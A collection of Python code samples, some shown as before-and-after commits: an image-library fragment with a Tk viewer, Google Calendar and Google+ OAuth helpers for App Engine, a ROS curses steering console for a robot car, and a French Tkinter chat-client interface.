  # Write the pixels line by line
  pixels = map(lambda pixel: codec.encode(Color.rgb_to_int(pixel), radix), image.data)
  lines = [" ".join(pixels[image._get_index((0, line)):image._get_index((w, line))]) for line in range(h)]
  image_piper.stdin.write("\n".join(lines))
  # Flush the writes
  image_piper.communicate()

try:
  from PIL import Image as PILImage
  _has_PIL = True
except:
  _has_PIL = False

class IntegerCodec:
  def __init__(self):
    self._base_list = string.digits + string.letters + '_@'

  def decode(self, int_string, radix):
    return int(int_string, radix)

  def encode(self, integer, radix):
    # Only encode absolute value of integer
    sign = ''
    if integer < 0:
      sign = '-'
      integer = abs(integer)

    int_string = ''
    while integer != 0:
      int_string = self._base_list[integer % radix] + int_string
      integer /= radix

    return sign + int_string

class Color:
  def __init__(self, color):
    if type(color) is type(0):
      self.color = Color.int_to_rgb(color)
    else:
      self.color = color

  def as_int(self):
    return Color.rgb_to_int(self.color)

  def as_rgb(self):
    return self.color

  @staticmethod
  def int_to_rgb(rgb_int):
    r = (rgb_int >> 16) & 255
    g = (rgb_int >> 8) & 255
    b = rgb_int & 255
    return (r, g, b)

  @staticmethod
  def rgb_to_int(rgb):
    r, g, b = rgb
    rgb_int = r
    rgb_int = (rgb_int << 8) + g
    rgb_int = (rgb_int << 8) + b
    return rgb_int

class Image:
  def __init__(self, *args):
    if type(args[0]) is type("string"):
      # Assume we were passed a filename
      self._open(args[0])
    elif type(args[0]) is type(self):
      # Assume we were passed another image
      self._copy(args[0])
    else:
      # Assume we were passed a size tuple and possibly a color
      self._create(*args)

  def _open(self, filename):
    if _has_PIL and use_PIL:
      _opener = _pil_open
    else:
      _opener = _nopil_open

    self.data, self.size = _opener(filename)

  def _create(self, size, color = (0, 0, 0)):
    w, h = self.size = size
    w, h = int(w), int(h)
    self.data = [color] * w * h

  def _copy(self, image):
    self.size = image.size
    self.data = image.data[:]

  def _get_index(self, loc):
    # Convert an (x, y) pair to a 1-dimensional index
    x, y = loc
    x, y = int(x), int(y)
    w, h = self.size
    return y * w + x

  def getpixel(self, loc):
    return self.data[self._get_index(loc)]

  def putpixel(self, loc, color):
    self.data[self._get_index(loc)] = color

  def temp_file(self):
    handle, filename = tempfile.mkstemp()
    self.save(filename)
    os.close(handle)
    temp_files.append(filename)
    return filename

  def _show_in_os(self):
    # Save the image to a temporary file for another process to read
    filename = self.temp_file()

    if os.name == 'nt':
      os.startfile(filename)
    else:
      # Assume we are on a mac and attempt to use the open command
      retcode = subprocess.call(['open', filename])

      if retcode is not 0:
        # The open command failed, so assume we are on Linux
        subprocess.call(['xdg-open', filename])

  def show(self, default=False, wait=False):
    # Open the image using the user's default imaging viewing application, cannot wait
    if default or not _has_Tk:
      self._show_in_os()
    else:
      # Open the file using our own image viewer
      viewer = ImageViewer(self, wait)

  def save(self, filename):
    if _has_PIL and use_PIL:
      _saver = _pil_save
    else:
      _saver = _nopil_save

    _saver(self, filename)

  @staticmethod
  def new(mode, size, color = (0, 0, 0)):
    #ignore mode for now
    return Image(size, color)

  def copy(self):
    return Image(self)

class ImageViewer():
  def __init__(self, image, block=False):
    self.Tkphoto = ImageViewer._image_to_Tkphoto(image)
    p = Process(target=self.run)
    p.start()

    # Wait for the process to finish if the user requests a block
    if block is True:
      p.join()

  @staticmethod
  def _image_to_Tkphoto(image):
    w, h = image.size
    pixels = map(lambda pixel: "#%02x%02x%02x" % pixel, image.data)
    lines = ["{" + " ".join(pixels[image._get_index((0, line)):image._get_index((w, line))]) + "}" for line in range(h)]
    fill = " ".join(lines)
    return (fill, (w, h))

  def run(self):
    fill, (w, h) = self.Tkphoto

    import Tkinter
    self.root = Tkinter.Tk()
    self.root.title("Info 103 Image Viewer")
    self.root.configure(width=w, height=h)

    # Convert our image to a PhotoImage used by Tkinter
    photo = Tkinter.PhotoImage(width=w, height=h)
    photo.put(fill)

    label = Tkinter.Label(self.root, image=photo)
    label.pack()

    # Use the alternate main loop defined below if IDLE has problems
    '''
    while True:
      try:
        self.root.update()
      except:
        break
    '''
    self.root.mainloop()

  def __ne__(self, other):
    w1, h1 = self.size
    w2, h2 = other.size
    if w1 != w2 or h1 != h2:
      return True
    for i in range(len(self.data)):
      if self.data[i] != other.data[i]:
        return True
    return False

  def __eq__(self, other):
    return not (self != other)

<|endoftext|>


<commit_before>import atom.url
import gdata.service
import gdata.alt.appengine
from google.appengine.api.app_identity import get_application_id
import os
from xml.sax.saxutils import escape

GCAL_FEED = 'https://www.google.com/calendar/feeds/default/private/full'
rsa_key = None
# TODO: always use secure tokens, need a separate RSA key for dev, staging, prod
debug = os.environ['SERVER_SOFTWARE'].startswith('Dev')
if not debug:
    f = open(os.path.join(os.path.dirname(__file__), 'myrsakey.pem'))
    rsa_key = f.read()
    f.close()

def get_client():
    client = gdata.service.GDataService()
    gdata.alt.appengine.run_on_appengine(client, deadline=10)
    return client

def get_client_with_token(token_str):
    client = get_client()
    if debug:
        token = gdata.auth.AuthSubToken()
    else:
        token = gdata.auth.SecureAuthSubToken(rsa_key)
    token.set_token_string(token_str)
    client.current_token = token
    return client

def generate_auth_link():
    # TODO: make a table of env differences in (prod, staging, local)
    # and isolate those into one place
    next_url = atom.url.Url('https', get_application_id() + '.appspot.com', path='/register')
    client = get_client()
    url = client.GenerateAuthSubURL(next_url,
                                    GCAL_FEED,
                                    secure=(not debug),
                                    session=True,
                                    domain=None)
    return str(url)

def temp_token_from_url(url):
    return gdata.auth.extract_auth_sub_token_from_url(url, rsa_key=rsa_key)

def permanent_token_from_temp_token(temp_token):
    session_token = None
    client = get_client()
    session_token = client.upgrade_to_session_token(temp_token)
    return session_token

def quickadd_event_using_token(event, token_str):
    client = get_client_with_token(token_str)
    xml_data = """<?xml version='1.0' encoding='utf-8'?>
                  <entry xmlns='http://www.w3.org/2005/Atom' xmlns:gCal='http://schemas.google.com/gCal/2005'>
                      <content type="html">%s</content>
                      <gCal:quickadd value="true"/>
                  </entry>""" % escape(event)
    # TODO: might be over-escaping - '&' in email subject
    # shows up as '&' in event titles
    return client.Post(xml_data, GCAL_FEED)

def delete_event_using_token(event_url, token_str):
    client = get_client_with_token(token_str)
    return client.Delete(event_url)
<commit_msg>add comment<commit_after>import atom.url
import gdata.service
import gdata.alt.appengine
from google.appengine.api.app_identity import get_application_id
import os
from xml.sax.saxutils import escape

GCAL_FEED = 'https://www.google.com/calendar/feeds/default/private/full'
rsa_key = None
# TODO: always use secure tokens, need a separate RSA key for dev, staging, prod
debug = os.environ['SERVER_SOFTWARE'].startswith('Dev')
if not debug:
    f = open(os.path.join(os.path.dirname(__file__), 'myrsakey.pem'))
    rsa_key = f.read()
    f.close()

def get_client():
    client = gdata.service.GDataService()
    gdata.alt.appengine.run_on_appengine(client, deadline=10)
    return client

def get_client_with_token(token_str):
    client = get_client()
    if debug:
        token = gdata.auth.AuthSubToken()
    else:
        token = gdata.auth.SecureAuthSubToken(rsa_key)
    token.set_token_string(token_str)
    client.current_token = token
    return client

def generate_auth_link():
    # TODO: make a table of env differences in (prod, staging, local)
    # and isolate those into one place
    next_url = atom.url.Url('https', get_application_id() + '.appspot.com', path='/register')
    client = get_client()
    url = client.GenerateAuthSubURL(next_url,
                                    GCAL_FEED,
                                    secure=(not debug),
                                    session=True,
                                    # lets the URL work with Google
                                    # Apps calendars as well as
                                    # calendar.google.com ones:
                                    domain=None)
    return str(url)

def temp_token_from_url(url):
    return gdata.auth.extract_auth_sub_token_from_url(url, rsa_key=rsa_key)

def permanent_token_from_temp_token(temp_token):
    session_token = None
    client = get_client()
    session_token = client.upgrade_to_session_token(temp_token)
    return session_token

def quickadd_event_using_token(event, token_str):
    client = get_client_with_token(token_str)
    xml_data = """<?xml version='1.0' encoding='utf-8'?>
                  <entry xmlns='http://www.w3.org/2005/Atom' xmlns:gCal='http://schemas.google.com/gCal/2005'>
                      <content type="html">%s</content>
                      <gCal:quickadd value="true"/>
                  </entry>""" % escape(event)
    # TODO: might be over-escaping - '&' in email subject
    # shows up as '&' in event titles
    return client.Post(xml_data, GCAL_FEED)

def delete_event_using_token(event_url, token_str):
    client = get_client_with_token(token_str)
    return client.Delete(event_url)
<|endoftext|>


<commit_before>"""Google+ OAuth drop-in.
"""

import json
import httplib2
import logging
import urllib

import appengine_config
import models

from webutil import handlers
from webutil import util

from apiclient import discovery
from apiclient.errors import HttpError
from oauth2client.appengine import CredentialsModel
from oauth2client.appengine import OAuth2Decorator
from oauth2client.appengine import StorageByKeyName
from google.appengine.ext import db
from google.appengine.ext.webapp import template
import webapp2

# service names and versions:
# https://developers.google.com/api-client-library/python/reference/supported_apis
json_service = discovery.build('plus', 'v1')
oauth = OAuth2Decorator(
  client_id=appengine_config.GOOGLE_CLIENT_ID,
  client_secret=appengine_config.GOOGLE_CLIENT_SECRET,
  # G+ scopes: https://developers.google.com/+/api/oauth#oauth-scopes
  scope='https://www.googleapis.com/auth/plus.me',
  callback_path='/googleplus/oauth2callback')

# TODO: port to models.Site
class GooglePlusAuth(db.Model):
  """A Google+ account. The key name is the Google+ user id."""
  info_json = db.TextProperty(required=True)
  creds_json = db.TextProperty(required=True)

class StartHandler(webapp2.RequestHandler):
  """Adds a Google+ account. Authenticates via OAuth if necessary."""

  def handle_exception(self, e, debug):
    """Exception handler that passes back HttpErrors as real HTTP errors.
    """
    if isinstance(e, HttpError):
      logging.exception(e)
      self.response.set_status(e.resp.status)
      self.response.write(str(e))
    else:
      return handlers.handle_exception(self, e, debug)

  @oauth.oauth_required
  def get(self):
    # get the current user
    user = json_service.people().get(userId='me').execute(oauth.http())
    logging.debug('Got one person: %r', user)
    creds_json = oauth.credentials.to_json()
    GooglePlusAuth.get_or_insert(key_name=user['id'], creds_json=creds_json,
                                 info_json=json.dumps(user))

    # redirect so that refreshing doesn't rewrite this GooglePlus entity
    self.redirect('/?%s' % urllib.urlencode(
        {'googleplus_name': user['displayName'],
         'googleplus_credentials': creds_json,
         }))

application = webapp2.WSGIApplication([
    ('/googleplus/start', StartHandler),
    (oauth.callback_path, oauth.callback_handler()),
    ], debug=appengine_config.DEBUG)
<commit_msg>implement BaseAuth API for Google+<commit_after>"""Google+ OAuth drop-in.

Google+ API docs: https://developers.google.com/+/api/latest/
Python API client docs: https://developers.google.com/api-client-library/python/
"""

import json
import httplib2
import logging
import urllib

import appengine_config
import models

from webutil import handlers
from webutil import util

from apiclient import discovery
from apiclient.errors import HttpError
from oauth2client.appengine import CredentialsModel, OAuth2Decorator, StorageByKeyName
from oauth2client.client import Credentials, OAuth2Credentials
from google.appengine.ext import db
from google.appengine.ext.webapp import template
import webapp2

# service names and versions:
# https://developers.google.com/api-client-library/python/apis/
json_service = discovery.build('plus', 'v1')
oauth = OAuth2Decorator(
  client_id=appengine_config.GOOGLE_CLIENT_ID,
  client_secret=appengine_config.GOOGLE_CLIENT_SECRET,
  # G+ scopes: https://developers.google.com/+/api/oauth#oauth-scopes
  scope='https://www.googleapis.com/auth/plus.me',
  callback_path='/googleplus/oauth2callback')

class GooglePlusAuth(models.BaseAuth):
  """An authenticated Google+ user or page.

  Provides methods that return information about this user (or page) and make
  OAuth-signed requests to the Google+ API. Stores OAuth credentials in the
  datastore. See models.BaseAuth for usage details.

  Google+-specific details: implements http() and api() but not urlopen(). api()
  returns a apiclient.discovery.Resource. The datastore entity key name is the
  Google+ user id.
  """
  user_json = db.TextProperty(required=True)
  creds_json = db.TextProperty(required=True)

  def site_name(self):
    return 'Google+'

  def user_display_name(self):
    """Returns the user's name.
    """
    return json.loads(user_json)['displayName']

  def creds(self):
    """Returns an oauth2client.OAuth2Credentials.
    """
    return OAuth2Credentials.from_json(self.creds_json)

  def http(self):
    """Returns an httplib2.Http that adds OAuth credentials to requests.
    """
    http = httplib2.Http()
    self.creds().authorize(http)
    return http

  def api(self):
    """Returns an apiclient.discovery.Resource for the Google+ JSON API.

    To use it, first choose a resource type (e.g. People), then make a call,
    then execute that call with an authorized Http instance. For example:

    gpa = GooglePlusAuth.get_by_key_name(123)
    results_json = gpa.people().search(query='ryan').execute(gpa.http())

    More details: https://developers.google.com/api-client-library/python/
    """
    return json_service

class StartHandler(webapp2.RequestHandler):
  """Finishes Facebook auth. (The oauth decorator handles OAuth redirects.)
  """
  def handle_exception(self, e, debug):
    """Exception handler that passes back HttpErrors as real HTTP errors.
    """
    if isinstance(e, HttpError):
      logging.exception(e)
      self.response.set_status(e.resp.status)
      self.response.write(str(e))
    else:
      return handlers.handle_exception(self, e, debug)

  @oauth.oauth_required
  def get(self):
    # get the current user
    user = json_service.people().get(userId='me').execute(oauth.http())
    logging.debug('Got one person: %r', user)
    creds_json = oauth.credentials.to_json()
    GooglePlusAuth.get_or_insert(key_name=user['id'],
                                 creds_json=creds_json,
                                 user_json=json.dumps(user))

    # redirect so that refreshing doesn't rewrite this GooglePlus entity
    self.redirect('/?%s' % urllib.urlencode(
        {'googleplus_name': user['displayName'],
         'googleplus_credentials': creds_json,
         }))

application = webapp2.WSGIApplication([
    ('/googleplus/start', StartHandler),
    (oauth.callback_path, oauth.callback_handler()),
    ], debug=appengine_config.DEBUG)
<|endoftext|>


<commit_before>#!/usr/bin/env python

import rospy
from autobot.msg import drive_param
from autobot.msg import wall_dist
from autobot.msg import pathFinderState
from autobot.srv import *
import curses

"""
TODO:
- [ ] Update UI to show wall hug status
- [ ] Create menu boxes
"""

velocity = 0
velocityMultiplier = 10
steerAngle = 0
steerIncrement = 15
steerMultiplier = 1.5

stdscr = curses.initscr()
curses.cbreak()
curses.noecho()
stdscr.keypad(1)

stdscr.refresh()

def drawGreeter():
    global stdscr
    stdscr.addstr(0, 5, "AUTOBOT CONSOLE")

    stdscr.addstr(2, 5, "MOTOR STATUS ")
    stdscr.addstr(3, 5, "----------------")

    stdscr.addstr(4, 5, "VELOCITY")
    stdscr.addstr(5, 5, "ANGLE   ")

    stdscr.addstr(2, 30, "  KEYBINDINGS")
    stdscr.addstr(3, 30, "+ ---------------------------------------------")
    stdscr.addstr(4, 30, "| WASD  - steer. (hold shift to increase ratio)")
    stdscr.addstr(5, 30, "| Space - stop (disables pathfinder)")
    stdscr.addstr(6, 30, "| c     - center wheels")
    stdscr.addstr(7, 30, "| l     - hug left wall")
    stdscr.addstr(8, 30, "| r     - hug right wall")
    stdscr.addstr(9, 30, "| t     - turn on pathFinder")
    stdscr.addstr(10, 30, "| q     - quit")

def srvTogglePathFinder(state):
    try:
        rospy.wait_for_service('togglePathFinder', timeout=0.2)
        srv = rospy.ServiceProxy('togglePathFinder', TogglePathFinder)
        srv(state)  # ignore ACK response
    except rospy.ROSException, e:
        # print "Service called failed: %s" % e
        pass

def modVelocity(incr):
    global velocity
    velocity = velocity + incr
    stdscr.addstr(4, 16, '%.2f' % velocity)

def zeroVelocity():
    global velocity
    velocity = 0
    stdscr.addstr(4, 16, '%.2f' % velocity)
    srvTogglePathFinder(False)

def modAngle(incr):
    global steerAngle
    steerAngle = steerAngle + incr
    stdscr.addstr(5, 16, '%.2f' % steerAngle)

def zeroAngle():
    global steerAngle
    steerAngle = 0
    stdscr.addstr(5, 16, '%.2f' % steerAngle)

def setWallDist(wall, dist):
    try:
        rospy.wait_for_service('adjustWallDist')
        adjustWall = rospy.ServiceProxy('adjustWallDist', AdjustWallDist)
        cmd = wall_dist()
        cmd.wall = wall
        cmd.dist = dist
        resp = adjustWall(cmd)
        return resp
    except rospy.ROSException, e:
        # print "Service called failed: %s" % e
        pass

def convertWallToString(wall):
    # WALL_LEFT=0
    # WALL_FRONT=1
    # WALL_RIGHT=2
    if (wall is wall_dist.WALL_LEFT):
        return "Left"
    elif (wall is wall_dist.WALL_RIGHT):
        return "Right"
    elif (wall is wall_dist.WALL_FRONT):
        return "Front"
    else:
        return "Unknown"

def driveParamsUpdated(driveParam):
    global stdscr
    global velocity
    global steerAngle
    velocity = driveParam.velocity
    steerAngle = driveParam.angle
    stdscr.addstr(4, 5, "VELOCITY : {:3.2}".format(driveParam.velocity))
    stdscr.addstr(5, 5, "ANGLE    : {:3.2}".format(driveParam.angle))

def pathFinderUpdated(status):
    global stdscr
    stdscr.addstr(4, 5, "VELOCITY :")
    stdscr.addstr(5, 5, "ANGLE    :")

    stdscr.addstr(7, 5, "PathFinder State")
    stdscr.addstr(8, 5, "----------------")
    stdscr.addstr(9, 5, "ENABLED  : {}  ".format(status.enabled))
    stdscr.addstr(10, 5, "WALL     : {}  ".format(
            convertWallToString(status.hug.wall)
        ))
    stdscr.addstr(11, 5, "WALLDIST : {:3.1}  ".format(status.hug.dist))
    stdscr.refresh()

def main():
    rospy.init_node('keyboardSteer', anonymous=True)
    drivePub = rospy.Publisher('drive_parameters', drive_param, queue_size=10)
    drawGreeter()
    key = ''
    while key != ord('q'):
        keyPressed = False
        key = stdscr.getch()
        stdscr.refresh()

        if key == curses.KEY_UP or key == ord('w'):
            modVelocity(0.1)
            keyPressed = True
        elif key == ord('W'):
            modVelocity(0.1 * velocityMultiplier)
            keyPressed = True
        elif key == curses.KEY_DOWN or key == ord('s'):
            modVelocity(-0.1)
            keyPressed = True
        elif key == ord('S'):
            modVelocity(-0.1 * velocityMultiplier)
            keyPressed = True

        if key == curses.KEY_LEFT or key == ord('a'):
            modAngle(-1 * steerIncrement)
            keyPressed = True
        elif key == ord('A'):
            modAngle(-1 * steerIncrement * steerMultiplier)
            keyPressed = True
        elif key == curses.KEY_RIGHT or key == ord('d'):
            modAngle(steerIncrement)
            keyPressed = True
        elif key == ord('D'):
            modAngle(steerIncrement * steerMultiplier)
            keyPressed = True
        elif key == ord(' '):
            zeroVelocity()
            keyPressed = True
        elif key == ord('c'):
            zeroAngle()
            keyPressed = True

        if keyPressed is True:
            msg = drive_param()
            msg.velocity = velocity
            msg.angle = steerAngle
            drivePub.publish(msg)

        if key == ord('r'):
            setWallDist(autobot.msg.wall_dist.WALL_RIGHT, 0.5)
        elif key == ord('l'):
            setWallDist(autobot.msg.wall_dist.WALL_LEFT, 0.5)
        elif key == ord('t'):
            srvTogglePathFinder(True)

    curses.endwin()

if __name__ == '__main__':
    rospy.Subscriber("pathFinderStatus", pathFinderState, pathFinderUpdated)
    rospy.Subscriber("drive_parameters", drive_param, driveParamsUpdated)
    main()
<commit_msg>fixed steering incrementation<commit_after>#!/usr/bin/env python

import rospy
from autobot.msg import drive_param
from autobot.msg import wall_dist
from autobot.msg import pathFinderState
from autobot.srv import *
import curses

"""
TODO:
- [ ] Update UI to show wall hug status
- [ ] Create menu boxes
"""

velocity = 0
velocityMultiplier = 10
steerAngle = 0
steerIncrement = 15
steerMultiplier = 1.5

stdscr = curses.initscr()
curses.cbreak()
curses.noecho()
stdscr.keypad(1)

stdscr.refresh()

def drawGreeter():
    global stdscr
    stdscr.addstr(0, 5, "AUTOBOT CONSOLE")

    stdscr.addstr(2, 5, "MOTOR STATUS ")
    stdscr.addstr(3, 5, "----------------")

    stdscr.addstr(4, 5, "VELOCITY")
    stdscr.addstr(5, 5, "ANGLE   ")

    stdscr.addstr(2, 30, "  KEYBINDINGS")
    stdscr.addstr(3, 30, "+ ---------------------------------------------")
    stdscr.addstr(4, 30, "| WASD  - steer. (hold shift to increase ratio)")
    stdscr.addstr(5, 30, "| Space - stop (disables pathfinder)")
    stdscr.addstr(6, 30, "| c     - center wheels")
    stdscr.addstr(7, 30, "| l     - hug left wall")
    stdscr.addstr(8, 30, "| r     - hug right wall")
    stdscr.addstr(9, 30, "| t     - turn on pathFinder")
    stdscr.addstr(10, 30, "| q     - quit")

def srvTogglePathFinder(state):
    try:
        rospy.wait_for_service('togglePathFinder', timeout=0.2)
        srv = rospy.ServiceProxy('togglePathFinder', TogglePathFinder)
        srv(state)  # ignore ACK response
    except rospy.ROSException, e:
        # print "Service called failed: %s" % e
        pass

def modVelocity(incr):
    global velocity
    velocity = velocity + incr
    stdscr.addstr(4, 16, '%.2f' % velocity)

def zeroVelocity():
    global velocity
    velocity = 0
    stdscr.addstr(4, 16, '%.2f' % velocity)
    srvTogglePathFinder(False)

def modAngle(incr):
    global steerAngle
    if (steerAngle == 60 and incr > 0) or (steerAngle == -60 and incr < 0):
        return
    else:
        steerAngle = steerAngle + incr
    stdscr.addstr(5, 16, '%.2f' % steerAngle)

def zeroAngle():
    global steerAngle
    steerAngle = 0
    stdscr.addstr(5, 16, '%.2f' % steerAngle)

def setWallDist(wall, dist):
    try:
        rospy.wait_for_service('adjustWallDist')
        adjustWall = rospy.ServiceProxy('adjustWallDist', AdjustWallDist)
        cmd = wall_dist()
        cmd.wall = wall
        cmd.dist = dist
        resp = adjustWall(cmd)
        return resp
    except rospy.ROSException, e:
        # print "Service called failed: %s" % e
        pass

def convertWallToString(wall):
    # WALL_LEFT=0
    # WALL_FRONT=1
    # WALL_RIGHT=2
    if (wall is wall_dist.WALL_LEFT):
        return "Left"
    elif (wall is wall_dist.WALL_RIGHT):
        return "Right"
    elif (wall is wall_dist.WALL_FRONT):
        return "Front"
    else:
        return "Unknown"

def driveParamsUpdated(driveParam):
    global stdscr
    global velocity
    global steerAngle
    velocity = driveParam.velocity
    steerAngle = driveParam.angle
    stdscr.addstr(4, 5, "VELOCITY : {:3.2}".format(driveParam.velocity))
    stdscr.addstr(5, 5, "ANGLE    : {:3.2}".format(driveParam.angle))

def pathFinderUpdated(status):
    global stdscr
    stdscr.addstr(4, 5, "VELOCITY :")
    stdscr.addstr(5, 5, "ANGLE    :")

    stdscr.addstr(7, 5, "PathFinder State")
    stdscr.addstr(8, 5, "----------------")
    stdscr.addstr(9, 5, "ENABLED  : {}  ".format(status.enabled))
    stdscr.addstr(10, 5, "WALL     : {}  ".format(
            convertWallToString(status.hug.wall)
        ))
    stdscr.addstr(11, 5, "WALLDIST : {:3.1}  ".format(status.hug.dist))
    stdscr.refresh()

def main():
    rospy.init_node('keyboardSteer', anonymous=True)
    drivePub = rospy.Publisher('drive_parameters', drive_param, queue_size=10)
    drawGreeter()
    key = ''
    while key != ord('q'):
        keyPressed = False
        key = stdscr.getch()
        stdscr.refresh()

        if key == curses.KEY_UP or key == ord('w'):
            modVelocity(0.1 * velocityMultiplier)
            keyPressed = True
        elif key == ord('W'):
            modVelocity(0.1 * velocityMultiplier)
            keyPressed = True
        elif key == curses.KEY_DOWN or key == ord('s'):
            modVelocity(-0.1 * velocityMultiplier)
            keyPressed = True
        elif key == ord('S'):
            modVelocity(-0.1 * velocityMultiplier)
            keyPressed = True

        if key == curses.KEY_LEFT or key == ord('a'):
            modAngle(-1 * steerIncrement)
            keyPressed = True
        elif key == ord('A'):
            modAngle(-1 * steerIncrement * steerMultiplier)
            keyPressed = True
        elif key == curses.KEY_RIGHT or key == ord('d'):
            modAngle(steerIncrement)
            keyPressed = True
        elif key == ord('D'):
            modAngle(steerIncrement * steerMultiplier)
            keyPressed = True
        elif key == ord(' '):
            zeroVelocity()
            keyPressed = True
        elif key == ord('c'):
            zeroAngle()
            keyPressed = True

        if keyPressed is True:
            msg = drive_param()
            msg.velocity = velocity
            msg.angle = steerAngle
            drivePub.publish(msg)

        if key == ord('r'):
            setWallDist(autobot.msg.wall_dist.WALL_RIGHT, 0.5)
        elif key == ord('l'):
            setWallDist(autobot.msg.wall_dist.WALL_LEFT, 0.5)
        elif key == ord('t'):
            srvTogglePathFinder(True)

    curses.endwin()

if __name__ == '__main__':
    rospy.Subscriber("pathFinderStatus", pathFinderState, pathFinderUpdated)
    rospy.Subscriber("drive_parameters", drive_param, driveParamsUpdated)
    main()
<|endoftext|>


<commit_before>#!/usr/bin/python3

from tkinter import *
from tkinter.messagebox import *

def sendMPandDestroy(msg, pseudo, fenetre, rouage):
	if pseudo == "":
		showwarning("Attention !", "Vous ne pouvez pas entrer un pseudo vide")
	elif msg == "":
		showwarning("Attention !", "Vous ne pouvez pas entrer de message vide")
	elif pseudo == "SYSTEM":
		showwarning("Attention !", "L'envoi de message au système est prohibé")
	else:
		rouage.sendTimedMessage(msg,pseudo)
		fenetre.destroy()

def destroy_and_quit(fenetre, rouage):
	fenetre.destroy()
	rouage.quit()

def MP(rouage):
	"""
	Fonction ouvrant une fenêtre permettant d'envoyer un message privé à l'utilisateur choisi
	"""
	Message_prive=Tk() #définit Message_prive comme une fenêtre Tkinter
	Message_prive.title('Engrenages') #titre de la fenêtre
	Message_prive.geometry('450x180') #dimensions de la fenêtre
	Message_prive['bg']='bisque' # couleur de fond

	MainFrame = Frame(Message_prive,borderwidth=3,relief=GROOVE) #crée la sous-fenêtre principale
	MainFrame.pack(padx=10,pady=10) #instruction plaçant la sous-fenêtre principale dans la fenêtre

	Label1 = Label(MainFrame, text = "Quel est le pseudo de l'utilisateur à qui vous souhaitez envoyer un message?", fg = 'black') # crée une zone de texte dans la sous-fenêtre principale
	Label1.pack(padx=5,pady=5) #instruction plaçant la zone de texte dans la sous-fenêtre principale

	ChoixPseudo = Entry(MainFrame, bg ='white', fg='grey') #crée une zone de saisie de texte par l'utilisateur
	ChoixPseudo.focus_set()
	ChoixPseudo.pack(padx=5, pady=5) #instruction plaçant la zone de saisie de texte dans la sous-fenêtre principale

	Label2 = Label(MainFrame, text = "Quel est votre message?", fg = 'black') # crée une zone de texte dans la sous-fenêtre principale
	Label2.pack(padx=5,pady=5) #instruction plaçant la zone de texte dans la sous-fenêtre principale

	Message = Entry(MainFrame, bg ='white', fg='grey') #crée une zone de saisie de texte par l'utilisateur
	Message.pack(padx=5, pady=5) #instruction plaçant la zone de saisie de texte dans la sous-fenêtre principale

	Bouton1 = Button(MainFrame, text = 'Valider', command = lambda: sendMPandDestroy(Message.get(),ChoixPseudo.get(),Message_prive,rouage)) #crée un bouton permettant de détruire la fenêtre
	Bouton1.pack(padx = 5, pady=5) #instruction plaçant le bouton dans la sous-fenêtre principale

	Message_prive.mainloop() #permet de signifier que le programme de création de la fenêtre est fini

def check_pseudo(pseudo, fenetre):
	"""
	Fonction vérifiant si le pseudo entré par l'utilisateur est valide (c'est-à-dire pas vide ni "DESTROY")
	"""
	if pseudo == "":
		showwarning("Attention !", "Vous devez entrer un pseudo valide pour vous connecter !")
	elif pseudo == "":
		showwarning("Attention !", "L'utilisation du pseudo SYSTEM est prohibé")
	else:
		fenetre.destroy()

def identification(rouage):
	"""
	Fenêtre d'identification qui permet à l'utilisateur de choisir son pseudo
	"""
	Authentification = Tk()
	# Création de la fenêtre principale
	Authentification.title('Engrenages')
	Authentification['bg']='bisque' # couleur de fond

	#crée le champ de saisie pour entrer le pseudo
	Pseudo = StringVar()

	Authentification.protocol("WM_DELETE_WINDOW",lambda: destroy_and_quit(Authentification, rouage)) # Utilise une fonction maison pour quitter

	#Création de deux sous-fenêtres
	Frame1 = Frame(Authentification,borderwidth=2,relief=GROOVE)
	Frame1.pack(padx=10,pady=10)

	Frame2 = Frame(Authentification,borderwidth=2,relief=GROOVE)
	Frame2.pack(padx=10,pady=10)

	# Création d'un widget Label affichant le texte: "Veuillez entrer votre Pseudo !"
	Label1 = Label(Frame1, text = 'Veuillez entrer votre Pseudo', fg = 'black', bg='lightgrey')
	Label1.pack(padx=5,pady=5) #positionne le widget Label1

	Champ = Entry(Frame1, textvariable= Pseudo,bg ='white', fg='grey')
	Champ.focus_set()
	Champ.pack(padx=5, pady=5)

	Go = Button(Frame2, text = 'Lancer engrenages!', command = lambda: check_pseudo(Champ.get(), Authentification)) #************
	Go.pack(side=LEFT, padx = 5, pady=5)

	Authentification.mainloop() #permet de signifier que le programme de création de la fenêtre est fini

	return Pseudo.get()

def connect_and_destroy(ip,port,fenetre,rouage):
	"""
	Fonction écran permettant d'éxécuter deux sous fonctions pour un seul boutton.
	"""
	if ip == "":
		showwarning("Attention !", "Vous ne pouvez pas vous connecter à une ip vide")
	elif port == "":
		showwarning("Attention !", "Vous ne pouvez pas vous connecter sur un port vide")
	elif port.isalnum == False:
		showwarning("Attention !", "Vous devez entrer un port en chiffre")
	else:
		rouage.ConnectNewServer(ip, int(port))
		fenetre.destroy()

def choisir_ip(rouage, port_serveur):
	"""
	Fonction qui ouvre une fenêtre de connexion à un autre serveur. Elle demande à l'utilisateur d'entrer l'adresse et le port du serveur à rejoindre.
	"""
	Nouvelle_connection=Tk() #définit Nouvelle_connection comme une fenêtre Tkinter...
	Nouvelle_connection.title('Engrenages') #...de titre "Engrenages"...
	Nouvelle_connection['bg']='bisque' #...et de fond de couleur "bisque"

	Frame1 = Frame(Nouvelle_connection,borderwidth=3,relief=GROOVE)
	Frame1.pack(padx=10,pady=10)

	Label1 = Label(Frame1, text = "Quelle est l'adresse IP du serveur à rejoindre?", fg = 'black')
	Label1.pack(padx=5,pady=5)

	Champ = Entry(Frame1, bg ='white', fg='grey')
	Champ.focus_set()
	Champ.pack(padx=5, pady=5)

	Label2 = Label(Frame1, text = "Quel port souhaitez-vous utiliser?", fg = 'black')
	Label2.pack(padx=5,pady=5)

	Port = Entry(Frame1, bg ='white', fg='grey')
	Port.focus_set()
	Port.pack(padx=5, pady=5)

	Bouton1 = Button(Frame1, text = 'Valider', command = lambda: connect_and_destroy(Champ.get(),Port.get(),Nouvelle_connection,rouage))
	Bouton1.pack(padx = 5, pady=5)

	Nouvelle_connection.mainloop() #permet de signifier que le programme de création de la fenêtre est fini

def fenetre_princ(pseudo, rouage, port_serveur):
	Engrenages = Tk()
	Engrenages.title('Engrenages:'+ pseudo)
	Engrenages['bg']='bisque' # couleur de fond

	Engrenages.protocol("WM_DELETE_WINDOW",lambda: destroy_and_quit(Engrenages, rouage)) # Utilise une fonction maison pour quitter

	Label1 = Label(Engrenages, text = 'Engrenages', fg = 'black', justify='center', padx=5, pady=5)
	Label1.grid(row=0,column=1, padx=5, pady=5)

	FrameMessages=LabelFrame(text="Messages précédents")
	FrameMessages.grid(row=1,column=0, columnspan = 4, rowspan = 2, sticky = SE)

	scrollbary = Scrollbar(FrameMessages)
